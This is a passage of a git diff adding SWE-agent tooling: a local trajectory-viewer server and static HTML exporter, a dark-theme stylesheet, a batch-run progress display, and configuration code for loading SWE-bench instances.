if results is None: + status.append("Evaluation results not found") + elif "completed_ids" in results and "submitted_ids" in results and "resolved_ids" in results: + is_completed = instance_id in results["completed_ids"] + is_submitted = instance_id in results["submitted_ids"] + is_resolved = instance_id in results["resolved_ids"] + + status.append("**** Statuses ****") + status.append(f" {'✅' if is_completed else '❌'} Completed (The agent successfully ran)") + status.append(f" {'✅' if is_submitted else '❌'} Submitted (The agent successfully submitted a pull request)") + status.append( + f" {'✅' if is_resolved else '❌'} Resolved (The pull request {'' if is_resolved else 'has not '}" + "successfully resolved the issue during eval)" + ) + else: + status.append("Results format not recognized") + + if status == []: + status.append("Instance not found in results") + else: + status.append("---------------------------") + status.append( + "Note that the evaluation results here may not be accurate or up to date, since they are computed separately from the agent run itself." + ) + status.append(f"Check {results_file} for the most accurate evaluation results.") + status.append("") + status.append(f"Instance ID: {instance_id}") + + # Add evaluation report as first and last items in trajectory + eval_report = { + "thought": "Evaluation Report", + "action": "Showing evaluation results", + "response": "Showing evaluation results", + "observation": "\n".join([*stats, *status]), + "messages": [{"role": "system", "content": "Showing evaluation results and statistics"}], + } + + if not content.get("trajectory"): + content["trajectory"] = [] + content["trajectory"].insert(0, eval_report) + content["trajectory"].append(eval_report) + return content + + +def get_action_summary(content): + out = "" + i = 0 + for item in content["history"]: + if item["role"] != "assistant": + continue + if item.get("is_demo"): + continue + i += 1 + try: + action = item["action"] + except KeyError: + print(f"No action for step {i}") + print(item) + raise + if len(action) > 70: + action = action[:67] + "..." + out += f"Step {i}: {action}\n" + return out + + +def load_content(file_name, gold_patches, test_patches) -> dict[str, Any]: + with open(file_name) as infile: + content = json.load(infile) + results_file = Path(file_name).parent / "results.json" + results = load_results(results_file) + + content = add_problem_statement(content) + content = append_exit(content) + content = append_patch(Path(file_name).stem, content, gold_patches, "Gold") + content = append_patch(Path(file_name).stem, content, test_patches, "Test") + content["history"].insert(0, {"role": "Action Summary", "content": get_action_summary(content)}) + return append_results( + Path(file_name), + Path(file_name).stem, + content, + results, + results_file, + ) + + +def load_results(results_path: Path) -> dict[str, Any] | None: + """Load results from results.json. + + If file is not found, return None. + """ + if not results_path.exists(): + return None + with open(results_path) as infile: + results = json.load(infile) + # Different versions of the code used "not_generated" or "no_generation". + # Let's standardize this here + if "no_generation" in results: + results["not_generated"] = results["no_generation"] + del results["no_generation"] + return results + + +def get_status(traj_path) -> str: + """Return results emoji for single trajectory""" + results = load_results(Path(traj_path).parent / "results.json") + info = json.loads(Path(traj_path).read_text()).get("info", {}) + n_steps = info.get("model_stats", {}).get("api_calls", "N/A") + exit_status = info.get("exit_status", "N/A") + exit_status_str = f" ({exit_status} after {n_steps} steps)" + instance_id = Path(traj_path).stem + if results is None: + return f"❓ {exit_status_str}" + elif instance_id in results["resolved_ids"]: + return "✅" + else: + return f"❌ {exit_status_str}" + + +class Handler(http.server.SimpleHTTPRequestHandler): + file_mod_times = {} # Dictionary to keep track of file modification times + + def __init__(self, *args, **kwargs): + self.gold_patches = {} + self.test_patches = {} + if "gold_patches" in kwargs: + self.gold_patches = kwargs.pop("gold_patches") + if "test_patches" in kwargs: + self.test_patches = kwargs.pop("test_patches") + self.traj_dir = kwargs.pop("directory", ".") # Extract directory + super().__init__(*args, **kwargs) + + def serve_directory_info(self): + self.send_response(200) + self.send_header("Content-type", "application/json") + self.end_headers() + self.wfile.write(json.dumps({"directory": self.traj_dir}).encode()) + + def serve_file_content(self, file_path): + try: + content = load_content( + Path(self.traj_dir) / file_path, + self.gold_patches, + self.test_patches, + ) + self.send_response(200) + self.send_header("Content-type", "text/plain") + self.end_headers() + self.wfile.write(json.dumps(content).encode()) + except FileNotFoundError: + self.send_error(404, f"File {file_path} not found") + + def do_GET(self): + if self.path == "/directory_info": + self.serve_directory_info() + elif self.path.startswith("/files"): + self.handle_files_request() + elif self.path.startswith("/trajectory/"): + file_path = self.path[len("/trajectory/") :] + self.serve_file_content(file_path) + elif self.path.startswith("/check_update"): + self.check_for_updates() + else: + super().do_GET() + + def handle_files_request(self): + self.send_response(200) + self.send_header("Content-type", "application/json") + self.end_headers() + files = sorted( + ( + str(file.relative_to(Path(self.traj_dir))) + " " * 4 + get_status(file) + for file in Path(self.traj_dir).glob("**/*.traj") + ), + key=lambda x: str(Path(self.traj_dir) / x), + reverse=True, + ) + self.wfile.write(json.dumps(files).encode()) + + def check_for_updates(self): + current_mod_times = {str(file): file.stat().st_mtime for file in Path(self.traj_dir).glob("**/*.traj")} + if current_mod_times != Handler.file_mod_times: + Handler.file_mod_times = current_mod_times + self.send_response(200) # Send response that there's an update + else: + self.send_response(204) # Send no content response if no update + self.end_headers() + + def end_headers(self): + self.send_header("Access-Control-Allow-Origin", "*") + super().end_headers() + + +def main(data_path, directory, port): + data = [] + if data_path is not None: + if data_path.endswith(".jsonl"): + data = [json.loads(x) for x in Path(data_path).read_text().splitlines(keepends=True)] + elif data_path.endswith(".json"): + with open(data_path) as f: + data = json.load(f) + elif "args.yaml" in os.listdir(directory): + with open(Path(directory) / "args.yaml") as file: + args = yaml.safe_load(file) + if "environment" in args and "data_path" in args["environment"]: + data_path = Path(__file__).parent.parent / args["environment"]["data_path"] + if data_path.exists: + with open(data_path) as f: + data = json.load(f) + + gold_patches = {d["instance_id"]: d["patch"] if "patch" in d else None for d in data} + test_patches = {d["instance_id"]: d["test_patch"] if "test_patch" in d else None for d in data} + + handler_with_directory = partial( + Handler, + directory=directory, + gold_patches=gold_patches, + test_patches=test_patches, + ) + try: + with socketserver.TCPServer(("", port), handler_with_directory) as httpd: + print(f"Serving at http://localhost:{port}") + httpd.serve_forever() + except OSError as e: + if e.errno == 48: + print(f"ERROR: Port ({port}) is already in use. Try another port with the --port flag.") + else: + raise e + + +def get_parser(): + parser = ArgumentParser() + parser.add_argument( + "--data_path", + type=str, + help="Path to dataset that was used for the trajectories. Necessary to display gold patches.", + ) + parser.add_argument("--directory", type=str, help="Directory to serve", default=os.getcwd(), nargs="?") + parser.add_argument("--port", type=int, help="Port to serve", default=8000) + return parser + + +def run_from_cli(args: list[str] | None = None): + # Hack to make sure all the templates and all are found + parsed_args = get_parser().parse_args(args) + # convert directory, relative to the absolute path + parsed_args.directory = str(Path(parsed_args.directory).resolve().absolute()) + os.chdir(Path(__file__).parent) + main(**vars(parsed_args)) + + +if __name__ == "__main__": + run_from_cli() diff --git a/sweagent/inspector/static.py b/sweagent/inspector/static.py new file mode 100644 index 0000000..6c58a48 --- /dev/null +++ b/sweagent/inspector/static.py @@ -0,0 +1,169 @@ +from __future__ import annotations + +import json +import logging +import traceback +from argparse import ArgumentParser +from pathlib import Path + +import yaml +from tqdm.auto import tqdm + +try: + from .server import load_content +except ImportError: + from server import load_content + + +logger = logging.getLogger(__name__) +logging.getLogger("simple_parsing").setLevel(logging.INFO) + + +TEMPLATE = """ + + + Trajectory Viewer + + + +
    + {file_path_tree} +

    Conversation History

    + 
    {file_content}
    +
    + + +""" + +try: + with open(Path(__file__).parent / "style.css") as infile: + STYLE_SHEET = infile.read() +except Exception as e: + style_file = Path(__file__).parent / "style.css" + logger.error(f"Failed to load style sheet from {style_file}: {traceback.format_exc()}") + raise e + + +def _load_file(file_name, gold_patches, test_patches): + try: + role_map = { + "user": "Computer", + "assistant": "SWE-Agent", + "subroutine": "SWE-Agent subroutine", + "default": "Default", + "system": "System", + "demo": "Demonstration", + } + content = load_content(file_name, gold_patches, test_patches) + if "history" in content and isinstance(content["history"], list): + history_content = "" + for index, item in enumerate(content["history"]): + item_content = item.get("content", "").replace("<", "<").replace(">", ">") + if item.get("agent") and item["agent"] != "primary": + role_class = "subroutine" + else: + role_class = item.get("role", "default").lower().replace(" ", "-") + element_id = f"historyItem{index}" + role_name = role_map.get(item.get("role", ""), item.get("role", "")) + history_content += ( + f"""
    """ + f"""
    {role_name}
    """ + f"""
    """ + f"""
    {item_content}
    """ + f"""
    """ + f"""
    """ + f"""
    """ + ) + return history_content + else: + return "No history content found." + except Exception: + return f"Error loading content. {traceback.format_exc()}" + + +def _make_file_path_tree(file_path): + path_parts = file_path.split("/") + relevant_parts = path_parts[-3:] + html_string = '
    \n' + for part in relevant_parts: + html_string += f'
    {part}
    \n' + html_string += "
    " + return html_string + + +def save_static_viewer(file_path): + if not isinstance(file_path, Path): + file_path = Path(file_path) + data = [] + if "args.yaml" in list(map(lambda x: x.name, file_path.parent.iterdir())): + args = yaml.safe_load(Path(file_path.parent / "args.yaml").read_text()) + if "environment" in args and "data_path" in args["environment"]: + data_path = Path(__file__).parent.parent / args["environment"]["data_path"] + if data_path.exists(): + with open(data_path) as f: + data = json.load(f) + if not isinstance(data, list) or not data or "patch" not in data[0] or "test_patch" not in data[0]: + data = [] + gold_patches = {x["instance_id"]: x["patch"] for x in data} + test_patches = {x["instance_id"]: x["test_patch"] for x in data} + content = _load_file(file_path, gold_patches, test_patches) + file_path_tree = _make_file_path_tree(file_path.absolute().as_posix()) + icons_path = Path(__file__).parent / "icons" + relative_icons_path = find_relative_path(file_path, icons_path) + style_sheet = STYLE_SHEET.replace("url('icons/", f"url('{relative_icons_path.as_posix()}/").replace( + 'url("icons/', + f'url("{relative_icons_path.as_posix()}/', + ) + data = TEMPLATE.format(file_content=content, style_sheet=style_sheet, file_path_tree=file_path_tree) + output_file = file_path.with_suffix(".html") + with open(output_file, "w+") as outfile: + print(data, file=outfile) + logger.info(f"Saved static viewer to {output_file}") + + +def find_relative_path(from_path, to_path): + # Convert paths to absolute for uniformity + from_path = from_path.resolve() + to_path = to_path.resolve() + if from_path.is_file(): + from_path = from_path.parent + if to_path.is_file(): + to_path = to_path.parent + if not from_path.is_dir() or not to_path.is_dir(): + msg = f"Both from_path and to_path must be directories, but got {from_path} and {to_path}" + raise ValueError(msg) + + # Identify the common ancestor and the parts of each path beyond it + common_parts = 0 + for from_part, to_part in zip(from_path.parts, to_path.parts): + if from_part != to_part: + break + common_parts += 1 + + # Calculate the '../' needed to get back from from_path to the common ancestor + back_to_ancestor = [".."] * (len(from_path.parts) - common_parts) + + # Direct path from common ancestor to to_path + to_target = to_path.parts[common_parts:] + + # Combine to get the relative path + return Path(*back_to_ancestor, *to_target) + + +def save_all_trajectories(directory): + if not isinstance(directory, Path): + directory = Path(directory) + all_files = list(directory.glob("**/*.traj")) + logger.info(f"Found {len(all_files)} trajectory files in {directory}") + for file_path in tqdm(all_files, desc="Saving static viewers"): + save_static_viewer(file_path) + logger.info(f"Saved static viewers for all trajectories in {args.directory}") + + +if __name__ == "__main__": + parser = ArgumentParser() + parser.add_argument("directory", type=str, help="Directory containing trajectory files") + args = parser.parse_args() + save_all_trajectories(args.directory) diff --git a/sweagent/inspector/style.css b/sweagent/inspector/style.css new file mode 100644 index 0000000..7fb4b8e --- /dev/null +++ b/sweagent/inspector/style.css @@ -0,0 +1,454 @@ +body { + font-family: Arial, sans-serif; + margin: 0; + padding: 20px; + background-color: #1e1e1e; + color: #d4d4d4; +} +h1, +h2 { + color: #d4d4d4; +} +#fileList { + list-style-type: none; + padding: 10px; + max-height: 400px; + overflow-y: auto; + margin: 0; + background-color: #252526; + border: 3px solid #1697e2; + border-radius: 10px; +} +#fileList li { + cursor: pointer; + padding: 10px; + background-color: #2d2d2d; + margin-bottom: 5px; + border: 2px solid #454545; + border-radius: 5px; + transition: background-color 0.3s; + color: #d4d4d4; +} +#fileList li:hover { + background-color: #3e3e3e; +} +#fileList li.selected { + border-color: #fabb00; +} +#fileContent { + background-color: #1e1e1e; + border: 1px solid #454545; + padding: 10px; + margin-top: 20px; + white-space: pre-wrap; + color: #d4d4d4; +} +.button-container { + display: flex; + justify-content: center; + align-items: center; +} +#refreshButton { + padding: 4px 10px; + min-width: 80px; + border: none; + font: inherit; + color: #373030; + border-radius: 10px; + outline: none; + text-decoration: none; + cursor: default; + font-weight: 400; + background: #fff; + box-shadow: + 0px 0px 1px #0000004d, + 0px 1px 1px #00000066; +} +#refreshButton:hover { + /* hover MUST come before active */ + background: linear-gradient(#0000004d, #00000066); + color: #fff; + position: relative; +} +#refreshButton:active { + background: linear-gradient(#4faefc, #006bff); + color: #fff; + position: relative; +} +.history-item { + border: 3px solid black; + border-radius: 5px; + padding: 0px; + /* padding-bottom: 5%; */ + margin-bottom: 15px; + overflow-x: hidden; + white-space: normal; + /* overflow-x: auto; Enables horizontal scrolling */ + /* white-space: nowrap; Keeps content in a single line */ + max-height: 450px; /* Adjust as needed for 25 lines */ + overflow: hidden; + position: relative; +} +.shadow { + height: 30px; /* Height of the shadow */ + background: linear-gradient(to bottom, transparent, rgba(0, 0, 0, 0.4)); + position: absolute; + bottom: 0; + left: 0; + right: 0; + pointer-events: none; /* Ensures the shadow doesn't interfere with interaction */ + display: none; /* Initially hidden */ +} +.has-shadow .shadow { + display: block; +} +.content-container { + max-height: 400px; /* Adjust as needed */ + overflow-y: auto; + position: relative; + padding: 10px; +} +.content-container pre { + white-space: pre-wrap; /* Wrap lines and preserve whitespace */ + overflow-wrap: break-word; /* Handle long words */ +} +.container { + max-width: 1000px; + margin: 0 auto; /* Centers the container */ + padding: 20px; /* Optional: for some inner spacing */ +} +.history-item.user { + border-color: #1697e2; +} +.history-item.tool { + border-color: #1483c3; +} +.history-item.system { + border-color: #004b80; +} +.history-item.subroutine { + border-color: #006b00; +} +.history-item.gold-patch { + border-color: #fabb00; +} +.history-item.assistant { + border-color: rgb(0, 0, 0); +} +.history-item.test-patch { + border-color: #7373d9; +} +.history-item.evaluation-report { + border-color: #35614b; +} + +/* filepath-tree stuff */ +.filepath { + display: flex; + flex-direction: column; /* Changes layout to one part per line */ + align-items: flex-start; /* Aligns parts to the start of the container */ + font-size: 16px; + gap: 10px; + padding: 5px; + background-color: #2d2d2d; +} +.part { + border: 1px solid #454545; + white-space: nowrap; /* Prevents wrapping within parts */ + padding: 5px; + background-color: #3e3e3e; + border-radius: 5px; + color: #d4d4d4; +} + +@keyframes fadeIn { + from { + opacity: 0; + } + to { + opacity: 1; + } +} + +.fade-in { + animation: fadeIn 1s ease-out; +} + +.trajectory-container { + position: relative; + width: 100%; +} + +.trajectory-item { + display: flex; + flex-direction: column; + margin-bottom: 0px; + border: 3px solid #1697e2; + border-radius: 5px; + position: relative; + background: #2d2d2d; + min-height: fit-content; /* Added to ensure proper expansion */ + height: auto; /* Added to ensure proper expansion */ + overflow: visible; /* Changed from hidden/auto to visible */ +} + +.trajectory-main { + flex: 1; + min-width: 0; + display: flex; + flex-direction: column; + gap: 0; +} + +.response-section, +.observation-section, +.messages-section { + padding: 0 4px; + position: relative; + min-height: 30px; + height: 400px; + max-height: min-content; + display: flex; + flex-direction: column; + resize: vertical; + overflow: hidden; + width: calc(100% - 16px); +} + +.response-section { + background-color: #252526; + border-bottom: 1px solid #454545; + color: #d4d4d4; +} + +.observation-section { + background-color: #2d2d2d; + color: #d4d4d4; +} + +.observation-images-section { + padding: 4px; + position: relative; + min-height: 30px; + height: 200px; + max-height: 200px; + background: #2d2d30; + border-top: 1px solid #454545; + display: flex; + flex-direction: column; + resize: vertical; + overflow: hidden; + width: calc(100% - 16px); + color: #d4d4d4; +} + +/* Add section headers */ +.response-section::before, +.observation-section::before, +.observation-images-section::before, +.messages-section::before { + content: attr(data-title); + font-weight: bold; + padding: 8px 12px; /* Keep this comfortable padding */ + background: rgba(255, 255, 255, 0.05); + margin: 0 0 8px 0; /* Add some bottom margin to separate from content */ + border-bottom: 1px solid #454545; + position: sticky; + top: 0; + width: 100%; + box-sizing: border-box; + color: #d4d4d4; +} + +/* Scrollable content containers */ +.content-wrapper { + overflow-y: auto; + flex: 1; + padding: 0; + margin: 0; + display: flex; /* Add flex display */ + flex-direction: column; /* Stack children vertically */ +} + +.content-wrapper pre { + margin: 0; + padding: 0; + flex: 1; /* Allow pre to fill the space */ + display: flex; /* Make pre a flex container */ + flex-direction: column; /* Stack children vertically */ +} + +.content-wrapper pre code { + margin: 0; + padding: 0; + flex: 1; /* Allow code to fill the space */ +} + +.messages-section { + padding: 4px; + position: relative; + min-height: 30px; + height: 30px; + max-height: min-content; /* Only expand to fit content */ + background: #252526; + border-top: 1px solid #454545; + display: flex; + flex-direction: column; + resize: vertical; + overflow: hidden; + width: calc(100% - 16px); + color: #d4d4d4; +} + +.messages-section::before { + content: attr(data-title); + font-weight: bold; + padding: 8px 12px; /* Increased padding around title text */ + background: rgba(255, 255, 255, 0.05); + margin: -8px -8px 5px -8px; /* Reduced bottom margin */ + border-bottom: 1px solid #454545; + position: sticky; + top: -8px; + width: calc(100% + 16px); + box-sizing: border-box; + color: #d4d4d4; +} + +.messages-toggle { + display: none; +} + +.execution-time { + font-size: 0.8em; + color: #666; + text-align: right; + padding: 5px; + border-top: 1px solid #ddd; +} + +/* Add a visual indicator for resizable areas */ +.response-section:hover, +.observation-section:hover, +.observation-images-section:hover, +.messages-section.expanded:hover { + outline: 1px dashed #999; +} + +.demo-message { + color: #2ecc71; + font-weight: bold; +} + +/* Syntax highlighting overrides for dark theme */ +.hljs { + background: #1e1e1e !important; + color: #d4d4d4 !important; +} + +.hljs-keyword, +.hljs-selector-tag, +.hljs-built_in, +.hljs-name, +.hljs-tag { + color: #569cd6 !important; /* Blue */ +} + +.hljs-string, +.hljs-title, +.hljs-section, +.hljs-attribute, +.hljs-literal, +.hljs-template-tag, +.hljs-template-variable, +.hljs-type { + color: #ce9178 !important; /* Orange/Pink */ +} + +.hljs-comment, +.hljs-quote { + color: #6a9955 !important; /* Green */ +} + +.hljs-number, +.hljs-regexp, +.hljs-symbol, +.hljs-variable, +.hljs-template-variable, +.hljs-link, +.hljs-selector-attr, +.hljs-selector-pseudo { + color: #b5cea8 !important; /* Light green */ +} + +label { + color: #d4d4d4; /* Matches the theme's text color */ + display: flex; + align-items: center; + gap: 5px; +} + +input[type="checkbox"] { + margin: 0; + cursor: pointer; +} + +/* observation images styles */ +.observation-images { + margin-top: 10px; + padding: 10px 0; +} + +.observation-image-container { + margin-bottom: 15px; + text-align: center; +} + +.observation-image { + max-width: 100%; + max-height: 400px; + border: 1px solid #454545; + border-radius: 5px; + background-color: #1e1e1e; + box-shadow: 0 2px 8px rgba(0, 0, 0, 0.3); + cursor: pointer; + transition: transform 0.2s ease; +} + +.observation-image:hover { + transform: scale(1.02); + border-color: #1697e2; +} + +.image-caption { + margin-top: 5px; + font-size: 0.9em; + color: #b3b3b3; + font-style: italic; +} + +.observation-image.expanded { + position: fixed; + top: 50%; + left: 50%; + transform: translate(-50%, -50%) scale(1); + max-width: 90vw; + max-height: 90vh; + z-index: 1000; + border: 2px solid #1697e2; + box-shadow: 0 0 20px rgba(0, 0, 0, 0.8); +} + +.image-overlay { + position: fixed; + top: 0; + left: 0; + width: 100%; + height: 100%; + background-color: rgba(0, 0, 0, 0.8); + z-index: 999; + display: none; +} + +.image-overlay.active { + display: block; +} diff --git a/sweagent/run/__init__.py b/sweagent/run/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/sweagent/run/_progress.py b/sweagent/run/_progress.py new file mode 100644 index 0000000..945966e --- /dev/null +++ b/sweagent/run/_progress.py @@ -0,0 +1,158 @@ +"""This module contains an auxiliary class for rendering progress of the batch run.""" + +import collections +from pathlib import Path +from threading import Lock + +import yaml +from rich.console import Group +from rich.progress import ( + BarColumn, + MofNCompleteColumn, + Progress, + SpinnerColumn, + TaskID, + TaskProgressColumn, + TextColumn, + TimeElapsedColumn, + TimeRemainingColumn, +) +from rich.table import Table + +from sweagent.agent.models import GLOBAL_STATS + + +def _shorten_str(s: str, max_len: int, shorten_left=False) -> str: + if not shorten_left: + s = s[: max_len - 3] + "..." if len(s) > max_len else s + else: + s = "..." + s[-max_len + 3 :] if len(s) > max_len else s + return f"{s:<{max_len}}" + + +class RunBatchProgressManager: + def __init__( + self, + num_instances: int, + yaml_report_path: Path | None = None, + ): + """This class manages a progress bar/UI for run-batch + + Args: + num_instances: Number of task instances + yaml_report_path: Path to save a yaml report of the instances and their exit statuses + """ + + self._spinner_tasks: dict[str, TaskID] = {} + """We need to map instance ID to the task ID that is used by the rich progress bar.""" + + self._lock = Lock() + + self._instances_by_exit_status = collections.defaultdict(list) + self._main_progress_bar = Progress( + SpinnerColumn(spinner_name="dots2"), + TextColumn("[progress.description]{task.description} (${task.fields[total_cost]})"), + BarColumn(), + MofNCompleteColumn(), + TaskProgressColumn(), + TimeElapsedColumn(), + TextColumn("[cyan]eta:[/cyan]"), + TimeRemainingColumn(), + # Wait 5 min before estimating speed + speed_estimate_period=60 * 5, + ) + self._task_progress_bar = Progress( + SpinnerColumn(spinner_name="dots2"), + TextColumn("{task.fields[instance_id]}"), + TextColumn("{task.fields[status]}"), + TimeElapsedColumn(), + ) + """Task progress bar for individual instances. There's only one progress bar + with one task for each instance. + """ + + self._main_task_id = self._main_progress_bar.add_task( + "[cyan]Overall Progress", total=num_instances, total_cost=0 + ) + + self.render_group = Group(Table(), self._task_progress_bar, self._main_progress_bar) + self._yaml_report_path = yaml_report_path + + @property + def n_completed(self) -> int: + return sum(len(instances) for instances in self._instances_by_exit_status.values()) + + def update_exit_status_table(self): + # We cannot update the existing table, so we need to create a new one and + # assign it back to the render group. + t = Table() + t.add_column("Exit Status") + t.add_column("Count", justify="right", style="bold cyan") + t.add_column("Most recent instances") + t.show_header = False + with self._lock: + t.show_header = True + # Sort by number of instances in descending order + sorted_items = sorted(self._instances_by_exit_status.items(), key=lambda x: len(x[1]), reverse=True) + for status, instances in sorted_items: + instances_str = _shorten_str(", ".join(reversed(instances)), 55) + t.add_row(status, str(len(instances)), instances_str) + assert self.render_group is not None + self.render_group.renderables[0] = t + + def _update_total_costs(self) -> None: + with self._lock: + self._main_progress_bar.update(self._main_task_id, total_cost=f"{GLOBAL_STATS.total_cost:.2f}") + + def update_instance_status(self, instance_id: str, message: str): + assert self._task_progress_bar is not None + assert self._main_progress_bar is not None + with self._lock: + self._task_progress_bar.update( + self._spinner_tasks[instance_id], + status=_shorten_str(message, 30), + instance_id=_shorten_str(instance_id, 25, shorten_left=True), + ) + self._update_total_costs() + + def on_instance_start(self, instance_id: str): + with self._lock: + self._spinner_tasks[instance_id] = self._task_progress_bar.add_task( + description=f"Task {instance_id}", + status="Task initialized", + total=None, + instance_id=instance_id, + ) + + def on_instance_end(self, instance_id: str, exit_status: str | None) -> None: + self._instances_by_exit_status[exit_status].append(instance_id) + with self._lock: + self._task_progress_bar.remove_task(self._spinner_tasks[instance_id]) + self._main_progress_bar.update(TaskID(0), advance=1) + self.update_exit_status_table() + self._update_total_costs() + if self._yaml_report_path is not None: + self._save_overview_data_yaml(self._yaml_report_path) + + def on_uncaught_exception(self, instance_id: str, exception: Exception) -> None: + self.on_instance_end(instance_id, f"Uncaught {type(exception).__name__}") + + def print_report(self) -> None: + """Print complete list of instances and their exit statuses.""" + for status, instances in self._instances_by_exit_status.items(): + print(f"{status}: {len(instances)}") + for instance in instances: + print(f" {instance}") + + def _get_overview_data(self) -> dict: + """Get data like exit statuses, total costs, etc.""" + return { + # convert defaultdict to dict because of serialization + "instances_by_exit_status": dict(self._instances_by_exit_status), + "total_cost": GLOBAL_STATS.total_cost, + } + + def _save_overview_data_yaml(self, path: Path) -> None: + """Save a yaml report of the instances and their exit statuses.""" + with self._lock: + path.write_text(yaml.dump(self._get_overview_data(), indent=4)) diff --git a/sweagent/run/batch_instances.py b/sweagent/run/batch_instances.py new file mode 100644 index 0000000..db04170 --- /dev/null +++ b/sweagent/run/batch_instances.py @@ -0,0 +1,449 @@ +import json +import os +import random +import re +from abc import ABC, abstractmethod +from pathlib import Path +from typing import Any, Literal + +from pydantic import BaseModel, ConfigDict, Field, model_validator +from swerex.deployment.config import ( + DeploymentConfig, + DockerDeploymentConfig, + DummyDeploymentConfig, + LocalDeploymentConfig, +) +from typing_extensions import Self + +from sweagent.agent.problem_statement import ( + ProblemStatementConfig, + SWEBenchMultimodalProblemStatement, + TextProblemStatement, +) +from sweagent.environment.repo import GithubRepoConfig, LocalRepoConfig, PreExistingRepoConfig, SWESmithRepoConfig +from sweagent.environment.swe_env import EnvironmentConfig +from sweagent.utils.files import load_file +from sweagent.utils.github import _is_github_repo_url, _is_repo_private +from sweagent.utils.log import get_logger + +logger = get_logger("swea-config", emoji="🔧") + + +class AbstractInstanceSource(ABC): + """Anything that adheres to this standard can be used to load instances.""" + + @abstractmethod + def get_instance_configs(self) -> list[EnvironmentConfig]: ... + + +class BatchInstance(BaseModel): + """A single instance in a batch of instances. + This specifies both the environment configuration and the problem statement. + """ + + env: EnvironmentConfig + problem_statement: ProblemStatementConfig + + +def _slice_spec_to_slice(slice_spec: str) -> slice: + if slice_spec == "": + return slice(None) + parts = slice_spec.split(":") + values = [None if p == "" else int(p) for p in parts] + if len(parts) == 1: + return slice(values[0]) + if len(parts) == 2: + return slice(values[0], values[1]) + if len(parts) == 3: + return slice(values[0], values[1], values[2]) + msg = ( + f"Invalid slice specification: {slice_spec!r}. " + "Here's the expected format: stop or start:stop or start:stop:step " + "(i.e., it behaves exactly like python's list slicing `list[slice]`)." + ) + raise ValueError(msg) + + +def _filter_batch_items( + instances: list[BatchInstance], *, filter_: str, slice_: str = "", shuffle: bool = False +) -> list[BatchInstance]: + if shuffle: + instances = sorted(instances.copy(), key=lambda x: x.problem_statement.id) + random.seed(42) + random.shuffle(instances) + before_filter = len(instances) + instances = [instance for instance in instances if re.match(filter_, instance.problem_statement.id)] + after_filter = len(instances) + if before_filter != after_filter: + logger.info("Instance filter: %d -> %d instances", before_filter, after_filter) + if slice_: + instances = instances[_slice_spec_to_slice(slice_)] + after_slice = len(instances) + if before_filter != after_slice: + logger.info("Instance slice: %d -> %d instances", before_filter, after_slice) + return instances + + +class SimpleBatchInstance(BaseModel): + """A simple way to configure a single instance in a batch of instances that all + use similar deployment configurations. + + Predominantly used for benchmarking purposes. Assumes that the repository is already + present in the docker container. + """ + + image_name: str + problem_statement: str + instance_id: str + repo_name: str = "" + """Specifies the repository to use. If empty, no repository is used. + If the string does not contain a slash, it is interpreted as an already existing repository at the root + of the docker container. If it is a GitHub URL, it is interpreted as a github repository. + Else, it is interpreted as a local repository. + """ + base_commit: str = "HEAD" + """Used to reset repo.""" + extra_fields: dict[str, Any] = Field(default_factory=dict) + """Any additional data to be added to the instance. + This data will be available when formatting prompt templates. + """ + + # Ignore instead of allow because they should be added as `extra_fields` + model_config = ConfigDict(extra="ignore") + + def to_full_batch_instance(self, deployment: DeploymentConfig) -> BatchInstance: + """Merge the deployment options into the `SimpleBatchInstance` object to get a full `BatchInstance`.""" + # Very important: Make a copy of the deployment config because it will be shared among instances!!! + deployment = deployment.model_copy(deep=True) + + if "issue_images" in self.extra_fields: + problem_statement = SWEBenchMultimodalProblemStatement( + text=self.problem_statement, + issue_images=self.extra_fields.pop("issue_images"), + id=self.instance_id, + extra_fields=self.extra_fields, + ) + else: + problem_statement = TextProblemStatement( + text=self.problem_statement, id=self.instance_id, extra_fields=self.extra_fields + ) + + if not self.repo_name: + repo = None + elif _is_github_repo_url(self.repo_name): + repo = GithubRepoConfig(github_url=self.repo_name, base_commit=self.base_commit) + elif "/" not in self.repo_name: + repo = PreExistingRepoConfig(repo_name=self.repo_name, base_commit=self.base_commit) + else: + repo = LocalRepoConfig(path=Path(self.repo_name), base_commit=self.base_commit) + if isinstance(deployment, LocalDeploymentConfig): + if self.image_name: + msg = "Local deployment does not support image_name" + raise ValueError(msg) + return BatchInstance( + env=EnvironmentConfig(deployment=deployment, repo=repo), problem_statement=problem_statement + ) + if isinstance(deployment, DummyDeploymentConfig): + return BatchInstance( + env=EnvironmentConfig(deployment=deployment, repo=repo), problem_statement=problem_statement + ) + + deployment.image = self.image_name # type: ignore + + if isinstance(deployment, DockerDeploymentConfig) and deployment.python_standalone_dir is None: + # Note: you can disable this by setting python_standalone_dir to "" + deployment.python_standalone_dir = "/root" # type: ignore + + return BatchInstance( + env=EnvironmentConfig(deployment=deployment, repo=repo), problem_statement=problem_statement + ) + + @model_validator(mode="before") + @classmethod + def handle_legacy_id(cls, data): + # Handling compatibility with swe-agent <= 1.0.1 + if isinstance(data, dict): + if "id" in data and "instance_id" not in data: + data["instance_id"] = data["id"] + data.pop("id") + return data + + # todo: Maybe populate extra fields? + @classmethod + def from_swe_bench(cls, instance: dict[str, Any]) -> Self: + """Convert instances from the classical SWE-bench dataset to the `SimpleBatchInstance` format.""" + iid = instance["instance_id"] + image_name = instance.get("image_name", None) + if image_name is None: + # Docker doesn't allow double underscore, so we replace them with a magic token + id_docker_compatible = iid.replace("__", "_1776_") + image_name = f"docker.io/swebench/sweb.eval.x86_64.{id_docker_compatible}:latest".lower() + extra_fields = {} + if "image_assets" in instance: + issue_images = json.loads(instance["image_assets"])["problem_statement"] + extra_fields["issue_images"] = issue_images + return cls( + image_name=image_name, + problem_statement=instance["problem_statement"], + instance_id=iid, + repo_name="testbed", + base_commit=instance["base_commit"], + extra_fields=extra_fields, + ) + + +class InstancesFromFile(BaseModel, AbstractInstanceSource): + """Load instances from a file.""" + + path: Path + filter: str = ".*" + """Regular expression to filter the instances by instance id.""" + slice: str = "" + """Select only a slice of the instances (after filtering by `filter`). + Possible values are stop or start:stop or start:stop:step + (i.e., it behaves exactly like python's list slicing `list[slice]`). + """ + shuffle: bool = False + """Shuffle the instances (before filtering and slicing).""" + + deployment: DeploymentConfig = Field( + default_factory=lambda: DockerDeploymentConfig(image="python:3.11"), + description="Deployment options.", + ) + """Note that the image_name option is overwritten by the images specified in the task instances.""" + + simple: Literal[True] = True + """Convenience discriminator for (de)serialization/CLI. Do not change.""" + + type: Literal["file"] = "file" + """Discriminator for (de)serialization/CLI. Do not change.""" + + def get_instance_configs(self) -> list[BatchInstance]: + instance_dicts = load_file(self.path) + simple_instances = [SimpleBatchInstance.model_validate(instance_dict) for 